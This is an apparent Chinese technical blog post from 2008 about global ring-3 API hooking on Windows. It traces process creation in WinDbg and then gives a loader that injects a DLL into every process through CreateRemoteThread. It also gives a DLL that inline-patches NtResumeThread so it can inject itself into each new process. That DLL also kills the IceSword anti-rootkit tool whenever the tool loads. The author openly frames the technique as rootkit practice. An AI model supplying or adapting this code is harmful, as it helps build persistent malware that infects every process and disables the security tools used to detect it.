挂钩 NtResumeThread 实现全局Hook

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。
似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然
是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,
因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是
无法接受蓝屏和死机的。

感兴趣的可以装个Rootkit unhooker 自己看看。 :)

1. 以往的Ring 3全局Hook

纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:

1
2
3
4
5
6
HHOOK SetWindowsHookEx(      
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
1
2
3
4
idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等
lpfn hook procedure 的指针
hmod 包含 hook procedure DLLhandle
dwThread 为0

使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面
的程序,Windows console 类的程序就无能为力了。

还有一种通过插入注册表来实现

1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。

以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
而当NtCreateProcess返回时,进程又已经开始运行

b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可
以这么理解,直接在命令行下,cmd,cmd,cmd …. 你可以监控到最后一个cmd 吗,如果只
用SetWindowsHookEx

c. 是否正好站在了华容道,是否足够底层。

似乎很费劲

2. 分析系统创建进程过程,寻找方法

关于这方面内容,可以参考毛德操老师的两篇文章

《漫谈兼容内核之十七:再谈Windows的进程创建》
《漫谈兼容内核之二十二:Windows线程的调度和运行》

下面是他的blog 链接:
http://hi.baidu.com/fatbsd/blog

CreateProcess 是 Kernel32.dll 的导出函数。

操起WinDbg,剁了一下: Windows 2003 SP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lkd> uf CreateProcessW
kernel32!CreateProcessW:
7c802474 8bff mov edi,edi
7c802476 55 push ebp
7c802477 8bec mov ebp,esp
7c802479 6a00 push 0x0
7c80247b ff752c push dword ptr [ebp+0x2c]
7c80247e ff7528 push dword ptr [ebp+0x28]
7c802481 ff7524 push dword ptr [ebp+0x24]
7c802484 ff7520 push dword ptr [ebp+0x20]
7c802487 ff751c push dword ptr [ebp+0x1c]
7c80248a ff7518 push dword ptr [ebp+0x18]
7c80248d ff7514 push dword ptr [ebp+0x14]
7c802490 ff7510 push dword ptr [ebp+0x10]
7c802493 ff750c push dword ptr [ebp+0xc]
7c802496 ff7508 push dword ptr [ebp+0x8]
7c802499 6a00 push 0x0
7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)
7c8024a0 5d pop ebp
7c8024a1 c22800 ret 0x28

lkd> uf CreateProcessInternalW
....
7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]
....
7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]
....
7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]

大概流程如下:

1
2
3
4
5
Kernel32!CreateProcessW
Kernel32!CreateProcessInternalW
ntdll!NtCreateProcessEx
ntdll!NtCreateThread
ntdll!NtResumeThread

因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,但是进程并没有调度起来,呵呵,方便干坏事啊。

3. 具体代码实现

基本思路已经清晰了,这里还几个问题。

a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
调用的NtResumeThread呢?

其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到
NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

b. 用什么方法Hook , IAT、Inline? 总的架构?

这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。
枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程
创建时,将DLL 插入新进程。

下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
Hook 也不是不是我们这次的主要内容,感兴趣的可以参考

http://www.xfocus.net/articles/200403/681.html

c. 在多线程的环境下是否可靠?

使用关键代码段,互斥锁,效果还可以。

Loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void inject(HANDLE hProcess){

char CurPath[256] = {0};
strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;


int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,
NULL,
len,
MEM_COMMIT,
PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);

}

void TotalInject()
{
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};

// Take a snapshot of all processes in the system.
EnableDebugPrivilege(1);

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)
return;

// Fill in the size of the structure before using it.

pe32.dwSize = sizeof(PROCESSENTRY32);

// Walk the snapshot of the processes, and for each process,
// display information.

if (Process32First(hProcessSnap, &pe32))
{

do
{
HANDLE hProcess;
// Get the actual priority class.
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
pe32.th32ProcessID);
inject(hProcess);
CloseHandle(hProcess);

}
while (Process32Next(hProcessSnap, &pe32));

}

// Do not forget to clean up the snapshot object.
EnableDebugPrivilege(0);

CloseHandle (hProcessSnap);
return ;


}

Hook.dll: 关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
#include "stdafx.h"
#include <stdio.h>

BOOL g_bHook = FALSE;

typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef ULONG SYSTEM_INFORMATION_CLASS;
typedef ULONG THREADINFOCLASS;
typedef ULONG PROCESSINFOCLASS;
typedef ULONG KPRIORITY;
#define MEMORY_BASIC_INFORMATION_SIZE 28

typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PNT_TIB TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );

typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL);


typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);


NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;
NTRESUMETHREAD g_pfNtResumeThread = NULL;
BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};
BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};
DWORD dwIdOld = 0;
CRITICAL_SECTION cs;

NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL);


void WINAPI HookOn();
void WINAPI HookOff();

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
InitializeCriticalSection(&cs);
char Name[MAX_PATH] = {0};
GetModuleFileName(NULL, Name, MAX_PATH);
// 杀杀冰刃玩玩
if ( strstr(Name, "IceSword.exe") != NULL)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
0,
GetCurrentProcessId());
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
if(!g_bHook)
{
HookOn();
}
#ifdef _DEBUG
MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);
#endif

}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if(g_bHook)
{
HookOff();
#ifdef _DEBUG
MessageBox(NULL, "Off!", "Hook Off", MB_OK);
#endif
DeleteCriticalSection(&cs);
}
break;
}

return TRUE;
}

BOOL EnableDebugPrivilege(BOOL fEnable) {

// Enabling the debug privilege allows the application to see
// information about service applications
BOOL fOk = FALSE; // Assume function fails
HANDLE hToken;

// Try to open this process's access token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
&hToken)) {

// Attempt to modify the "Debug" privilege
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}

#define ThreadBasicInformation 0

void inject(HANDLE hProcess){

char CurPath[256] = {0};
GetSystemDirectory(CurPath, 256);
strncat(CurPath, "\\Hook.dll", 9);
//strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;


int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

EnableDebugPrivilege(1);

pszLibFileRemote = (PWSTR)
VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

HANDLE hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);

EnableDebugPrivilege(0);

}

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL)
{

NTSTATUS ret;
NTSTATUS nStatus;
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
THREAD_BASIC_INFORMATION ti;
DWORD Pid = 0;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");

NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");
NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,
"NtQueryInformationThread");

if (NtQueryInformationThread == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);
#endif

}

nStatus = NtQueryInformationThread(ThreadHandle,
ThreadBasicInformation,
(PVOID)&ti,
sizeof(THREAD_BASIC_INFORMATION),
NULL);

if(nStatus != STATUS_SUCCESS)
{
#ifdef _DEBUG
MessageBox(NULL, "fuck failed", "", MB_OK);
#endif

}

Pid = (DWORD)(ti.ClientId.UniqueProcess);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);

if (hProcess == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "open process failed", "", MB_OK);
#endif
}

BYTE FirstByte[1] = {0};
// check if the process has been hooked
ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);

// 已经被Hook了
if ( FirstByte[0] == 0xe9)
{

HookOff();
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();

CloseHandle(hProcess);

return ret;
}
// 创建新进程的调用,Hook 之
else
{
HookOff();
inject(hProcess);
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();

CloseHandle(hProcess);
return ret;
}
}

NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;

HookOff();
ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
HookOn();

return ntStatus;
}


void WINAPI HookOn()
{
PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;
DWORD dwOldProtect, dwOldProtect2;
HANDLE hProcess = NULL;


dwIdOld = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);
if(hProcess == NULL)
return ;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");
g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");

if (g_pfNtQuerySystemInformation == NULL)
{
return;
}

g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");

if (g_pfNtResumeThread == NULL)
{
return;
}

EnterCriticalSection(&cs);

_asm
{
lea edi,g_OldNtQuerySystemInformation
mov esi,g_pfNtQuerySystemInformation
cld
mov ecx,5
rep movsb
lea edi,g_OldNtResumeThread
mov esi,g_pfNtResumeThread
cld
mov ecx,5
rep movsb
}

g_NewNtQuerySystemInformation[0] = 0xe9;
g_NewNtResumeThread[0] = 0xe9;
_asm
{
lea eax, NewNtQuerySystemInformation
mov ebx, g_pfNtQuerySystemInformation
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtQuerySystemInformation + 1], eax
lea eax, NewNtResumeThread
mov ebx, g_pfNtResumeThread
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtResumeThread + 1], eax
}
.......
LeaveCriticalSection(&cs);

g_bHook = TRUE;
}

// 还原被修改的代码
void WINAPI HookOff()
{
......
g_bHook = FALSE;
}

4. 参考资料

Microsoft MSDN,SDK & DDK
《Windows NT 2000 Native API Reference》
《Windows 核心编程》
《挂钩Windows API》
《如何在Windows NT中隐藏自己》


挂钩 NtResumeThread 实现全局Hook
https://usmacd.com/cn/hook_ntResume/
作者
henices
发布于
2008年5月25日
许可协议